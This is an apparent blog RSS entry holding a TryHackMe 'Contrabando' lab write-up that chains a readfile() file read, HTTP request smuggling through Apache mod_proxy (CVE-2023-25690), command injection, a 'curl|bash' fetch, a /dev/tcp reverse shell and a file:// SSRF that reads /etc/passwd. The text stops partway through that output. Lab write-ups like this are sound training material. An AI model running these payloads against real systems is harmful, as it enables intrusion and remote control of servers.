<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>ShadowV0id</title><description>No System is safe !</description><link>https://shadowv0id.vercel.app/</link><language>en</language><item><title>Contrabando Tryhackme Writeup</title><link>https://shadowv0id.vercel.app/posts/tryhackme/challenges/contrabando/contrabando/</link><guid isPermaLink="true">https://shadowv0id.vercel.app/posts/tryhackme/challenges/contrabando/contrabando/</guid><description>HTTP Request Smuggling vulnerability via CRLF injection in Apache2</description><pubDate>Wed, 20 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h1&gt;IP&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;10.201.63.47&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;RECON&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -T4 -n -sC -sV -Pn -p- 10.201.63.47
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 41:ed:cf:46:58:c8:5d:41:04:0a:32:a0:10:4a:83:3b (RSA)
|   256 e8:f9:24:5b:e4:b0:37:4f:00:9d:5c:d3:fb:54:65:0a (ECDSA)
|_  256 57:fd:4a:1b:12:ac:7c:90:80:88:b8:5a:5b:78:30:79 (ED25519)
80/tcp open  http    Apache httpd 2.4.55 ((Unix))
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.55 (Unix)
|_http-title: Site doesn&apos;t have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ports Open&lt;/h2&gt;
&lt;p&gt;There are two ports open:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;22 (&lt;code&gt;SSH&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;80 (&lt;code&gt;HTTP&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h2&gt;Web 80&lt;/h2&gt;
&lt;p&gt;Upon accessing &lt;code&gt;http://10.201.63.47/&lt;/code&gt;, the site presents a static &lt;code&gt;Coming Soon&lt;/code&gt; page, which includes a navigational link directing users to &lt;code&gt;/page/home.html&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Navigating to &lt;code&gt;http://10.201.63.47/page/home.html&lt;/code&gt; displays only a message indicating that the password generator is currently unavailable, with no additional content present.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A notable observation, which may prove relevant later, is that the response headers reveal the presence of &lt;code&gt;two distinct Apache2 servers&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;http://10.201.63.47/&lt;/code&gt;
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;In home page it was running on
Server:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Apache/2.4.55&lt;/code&gt; (Unix)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;http://10.201.63.47/page/home.html&lt;/code&gt;
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;In &lt;code&gt;/page/home.html&lt;/code&gt; it was running on
Server:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Apache/2.4.54 (Debian)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;X-Powered-By:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PHP/7.4.33&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h2&gt;Foothold&lt;/h2&gt;
&lt;h2&gt;Web Application Analysis&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Initial fuzzing of the webroot did not yield any notable results. However, targeting the &lt;code&gt;/page/&lt;/code&gt; endpoint for potential files revealed an unusual behavior: all responses consistently returned a &lt;code&gt;200 OK&lt;/code&gt; status.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u &apos;http://10.201.63.47/page/FUZZ&apos; -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404 -e .php,/
...
09.php                  [Status: 200, Size: 148, Words: 19, Lines: 3, Duration: 129ms]
09                      [Status: 200, Size: 144, Words: 19, Lines: 3, Duration: 137ms]
images.php              [Status: 200, Size: 152, Words: 19, Lines: 3, Duration: 112ms]
...
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Upon inspecting one of these responses, a peculiar behavior is observed: any input provided after &lt;code&gt;/page/&lt;/code&gt; in the URL appears to be directly passed to the &lt;code&gt;readfile()&lt;/code&gt; function within &lt;code&gt;/var/www/html/index.php&lt;/code&gt;.
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bypassing a test string and providing the path to a valid file (using double URL encoding) confirms that the &lt;code&gt;readfile()&lt;/code&gt; function successfully retrieves the file contents, allowing arbitrary file reads. Furthermore, leveraging wrappers such as &lt;code&gt;http://&lt;/code&gt; enables external requests to be made and their responses read, exposing a Server-Side Request Forgery (SSRF) vulnerability.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Let see /etc/passwd&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note
we should encode this becoz dangerous string, may be blocked. after encode you will get &lt;code&gt;%252Fetc%252Fpasswd&lt;/code&gt;
&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploiting this vulnerability for reconnaissance and making targeted requests reveals that the application is running within a Docker container. Apart from noting that the Apache2 server is listening on &lt;code&gt;*:8080&lt;/code&gt; via its configuration, there is little of immediate value.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Resuming fuzzing of the &lt;code&gt;/page/&lt;/code&gt; endpoint, this time with the &lt;code&gt;-fw 19&lt;/code&gt; option to ignore &lt;code&gt;readfile()&lt;/code&gt; errors, uncovers two noteworthy files: index.php and &lt;code&gt;gen.php&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u &apos;http://10.201.63.47/page/FUZZ&apos; -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404 -e .php,/ -fw 19
...
index.php               [Status: 200, Size: 148, Words: 17, Lines: 11, Duration: 135ms]
gen.php                 [Status: 200, Size: 392, Words: 65, Lines: 15, Duration: 127ms]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Analysis of &lt;code&gt;/page/gen.php&lt;/code&gt; reveals a straightforward PHP script that accepts a &lt;code&gt;length&lt;/code&gt; parameter via &lt;code&gt;POST&lt;/code&gt; and forwards it directly to the &lt;code&gt;exec()&lt;/code&gt; function, introducing a command injection vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reviewing &lt;code&gt;/page/index.php&lt;/code&gt; confirms that this script underlies the file read and request functionality. It extracts the &lt;code&gt;page&lt;/code&gt; parameter from the GET request and passes it directly to &lt;code&gt;readfile()&lt;/code&gt;. Interestingly, requests to &lt;code&gt;/page/*&lt;/code&gt; are still processed successfully, despite the script being designed to accept the parameter explicitly via a GET variable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Request Tunneling&lt;/h2&gt;
&lt;p&gt;At this stage, the available findings suggest that the application relies on a two-tier setup. The frontend &lt;code&gt;Apache2&lt;/code&gt; server intercepts requests and, when the URL begins with &lt;code&gt;/page/&lt;/code&gt;, it extracts the subsequent content and proxies the request to a backend Apache2 instance. This backend hosts &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;gen.php&lt;/code&gt;, with the proxied request taking the form: &lt;code&gt;http://backend:8080/index.php?page=*&lt;/code&gt; This mechanism prevents direct access to &lt;code&gt;gen.php&lt;/code&gt; on the backend.&lt;/p&gt;
&lt;p&gt;Despite this restriction, &lt;code&gt;index.php&lt;/code&gt; remains accessible, allowing the &lt;code&gt;readfile()&lt;/code&gt; function to be invoked with arbitrary input. Leveraging this, it is possible to request backend resources such as &lt;code&gt;http://127.0.0.1:8080/gen.php&lt;/code&gt;. However, the &lt;code&gt;readfile()&lt;/code&gt; function only issues &lt;code&gt;GET&lt;/code&gt; requests, limiting interaction with gen.php to retrieval only. Since exploiting the command injection vulnerability in &lt;code&gt;gen.php&lt;/code&gt; requires a &lt;code&gt;POST&lt;/code&gt; request, this creates a barrier to direct exploitation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;encoded : &lt;code&gt;http%253a%252f%252f127.0.0.1%253a8080%252fgen.php&lt;/code&gt;
&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Investigating how the proxying behavior may be configured in Apache2 suggests that it is likely implemented using &lt;code&gt;mod_proxy&lt;/code&gt;, with a configuration resembling the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ProxyPass &quot;/page/&quot; &quot;http://backend:8080/&quot;
ProxyPassReverse &quot;/page/&quot; &quot;http://backend:8080/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP Request Smuggling via mod_proxy (CVE-2023-25690)&lt;/h2&gt;
&lt;p&gt;Recon indicates a front-end Apache HTTP Server (&lt;code&gt;mod_proxy&lt;/code&gt;) forwarding paths beginning with &lt;code&gt;/page/&lt;/code&gt; to a back-end Apache instance. The proxy constructs target URLs as:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://backend:8080/index.php?page=&amp;lt;suffix&amp;gt;&lt;/code&gt;
In &lt;code&gt;Apache 2.4.55&lt;/code&gt;, a configuration like this is vulnerable to CRLF injection &lt;a href=&quot;https://github.com/dhmosfunk/CVE-2023-25690-POC&quot;&gt;CVE-2023-25690&lt;/a&gt;, enabling HTTP request smuggling.&lt;/p&gt;
&lt;h3&gt;Observed Behavior&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Input appended after &lt;code&gt;/page/&lt;/code&gt; is reflected in the back-end request line processed by index.php.&lt;/li&gt;
&lt;li&gt;CRLF characters (&lt;code&gt;\r\n&lt;/code&gt;) can be injected to make the back end interpret a single front-end request as multiple requests.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Example (sanitized):
Front-end request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /page/test HTTP/1.1
Host: 10.201.92.207
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Back-end receives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /index.php?page=test HTTP/1.1
Host: backend
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With CRLF injection (illustrative):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /page/test%0D%0AHost:%20localhost%0D%0A%0D%0AGET%20/smuggled HTTP/1.1
Host: 10.201.92.207
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Back-end interprets as two requests:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /index.php?page=test HTTP/1.1
Host: localhost

GET /smuggled HTTP/1.1
Host: backend
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Impact&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;The back-end gen.php can be reached via a smuggled &lt;code&gt;POST&lt;/code&gt; request, enabling command injection if input is unsafely passed to &lt;code&gt;exec()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This provides a potential remote code execution vector within the container.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Sanitized smuggled POST illustration:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;POST /gen.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: &amp;lt;length&amp;gt;

length=&amp;lt;user_input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Conditions Required&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Apache &lt;code&gt;2.4.55&lt;/code&gt; (or similar vulnerable version) with &lt;code&gt;mod_proxy&lt;/code&gt; path rewriting.&lt;/li&gt;
&lt;li&gt;Back-end endpoint reachable only via the proxy and unsafe input handling.&lt;/li&gt;
&lt;li&gt;CRLF not blocked at the front end.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Remediation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Upgrade Apache to a patched version.&lt;/li&gt;
&lt;li&gt;Harden proxy rules: avoid concatenating untrusted path segments.&lt;/li&gt;
&lt;li&gt;Sanitize inputs in all back-end scripts (remove exec, validate parameters).&lt;/li&gt;
&lt;li&gt;Block CR/LF in URLs or headers.&lt;/li&gt;
&lt;li&gt;Enforce access controls to sensitive back-end endpoints.&lt;/li&gt;
&lt;li&gt;Monitor for unusual multi-request sequences via WAF/IDS.&lt;/li&gt;
&lt;li&gt;Risk Rating: High (exploitation could lead to full container compromise).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Example Diagram :&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;+----------------+        /page/ request         +----------------+
| Front-end      |-----------------------------&amp;gt; | Back-end       |
| Apache2        |                                 Apache2         |
| (10.201.92.207) |                                 (127.0.0.1:8080)|
+----------------+                                 +----------------+
       |                                                  |
       | GET /page/test                                   |
       |-------------------------------------------------&amp;gt;|
       |                                                  |
       |                                      GET /index.php?page=test
       |                                      Host: backend
       |                                                  |
       | CRLF injection:                                  |
       | test%0D%0AHost: localhost%0D%0A%0D%0AGET /smuggled |
       |-------------------------------------------------&amp;gt;|
       |                                                  |
       |                                GET /index.php?page=test
       |                                Host: localhost
       |                                                  |
       |                                GET /smuggled HTTP/1.1
       |                                Host: backend
       |                                                  |
       +--------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;lets use this payload :&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;test HTTP/1.1
Host: localhost

POST /gen.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

length=;curl 10.14.xxx.xx|bash;

GET /test
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;encoded as :&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;test%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2031%0D%0A%0D%0Alength=;curl%20&amp;lt;ip&amp;gt;%7Cbash;%0D%0A%0D%0AGET%20/test
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;reverse shell payload on our web server:&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ cat index.html 
/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.4.19.136/443 0&amp;gt;&amp;amp;1                                                                                                                    
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;now lets inject our payload and we got a web shell
&lt;img src=&quot;image-11.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h2&gt;Shell as hansolo – Network Scanning&lt;/h2&gt;
&lt;p&gt;After gaining a foothold, the container’s IP is identified as &lt;code&gt;172.18.0.3&lt;/code&gt;. Performing a network scan from within the container using RustScan reveals an unusual open port on the host machine at &lt;code&gt;172.18.0.1:5000&lt;/code&gt;. This indicates a potential service on the host that may be reachable from the container and warrants further enumeration.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.19.136] from (UNKNOWN) [10.201.92.207] 37618
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@124a042cc76c:/var/www/html$ script -qc /bin/bash /dev/null
script -qc /bin/bash /dev/null
www-data@124a042cc76c:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 443
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

www-data@124a042cc76c:/var/www/html$ export TERM=xterm
www-data@124a042cc76c:/var/www/html$ hostname -i
172.18.0.3
www-data@124a042cc76c:/tmp$ curl -s http://&amp;lt;ip&amp;gt;/rustscan -o rustscan
www-data@124a042cc76c:/tmp$ chmod +x rustscan
www-data@124a042cc76c:/tmp$ ./rustscan --top -a 172.18.0.1,172.18.0.2 --accessible
Open 172.18.0.1:22
Open 172.18.0.1:80
Open 172.18.0.2:80
Open 172.18.0.1:5000
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Server-Side Request Forgery (SSRF)&lt;/h2&gt;
&lt;p&gt;Accessing &lt;code&gt;http://172.18.0.1:5000/&lt;/code&gt; from the container using curl reveals a web interface containing a form that accepts URLs via &lt;code&gt;POST&lt;/code&gt; requests. This indicates the host is performing server-side requests on behalf of user-supplied input, presenting a potential &lt;code&gt;SSRF&lt;/code&gt; attack vector.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-12.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@124a042cc76c:/var/www/html$ curl -s http://172.18.0.1:5000/
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;

    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;:::note
Testing it with a request and giving the URL for our own machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@124a042cc76c:/var/www/html$ curl -s -d &apos;website_url=http://10.4.19.136/&apos;  http://172.18.0.1:5000/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;                                                                                                                    
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.4.19.136] from (UNKNOWN) [10.201.92.207] 33826
GET / HTTP/1.1
Host: 10.4.19.136
User-Agent: PycURL/7.45.2 libcurl/7.68.0 OpenSSL/1.1.1f zlib/1.2.11 brotli/1.0.7 libidn2/2.2.0 libpsl/0.21.0 (+libidn2/2.2.0) libssh/0.9.3/openssl/zlib nghttp2/1.40.0 librtmp/2.3
Accept: */*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-13.png&quot; alt=&quot;alt text&quot; /&gt;
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Testing further, we can confirm it not only makes the request but also displays the response it receives.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ echo &apos;PWNCRAFTS&apos; &amp;gt; test.txt
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.201.92.207 - - [21/Aug/2025 02:02:19] &quot;GET /test.txt HTTP/1.1&quot; 200 -
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;www-data@124a042cc76c:/var/www/html$  curl -s -d &apos;website_url=http://10.4.19.136/test.txt&apos;  http://172.18.0.1:5000/

        &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;
        PWNCRAFTS

    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;www-data@124a042cc76c:/var/www/html$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-14.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The service uses PycURL, which supports the &lt;code&gt;file://&lt;/code&gt; protocol. This allows local file access on the host. Using this mechanism to read &lt;code&gt;/etc/passwd&lt;/code&gt; confirms the presence of the hansolo user as well as the root account, indicating potential targets for privilege escalation.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -d &apos;website_url=file:///etc/passwd&apos; http://172.18.0.1:5000/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-15.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@124a042cc76c:/var/www/html$ curl -s -d &apos;website_url=file:///etc/passwd&apos;
curl: no URL specified!cc76c:/var/www/html$ curl -s -d &apos;website_url=file:///etc/passwd&apos; 
curl: try &apos;curl --help&apos; or &apos;curl --manual&apos; for more information
 http://172.18.0.1:5000/ar/www/html$ curl -s -d &apos;website_url=file:///etc/passwd&apos; 

        &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;
        root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
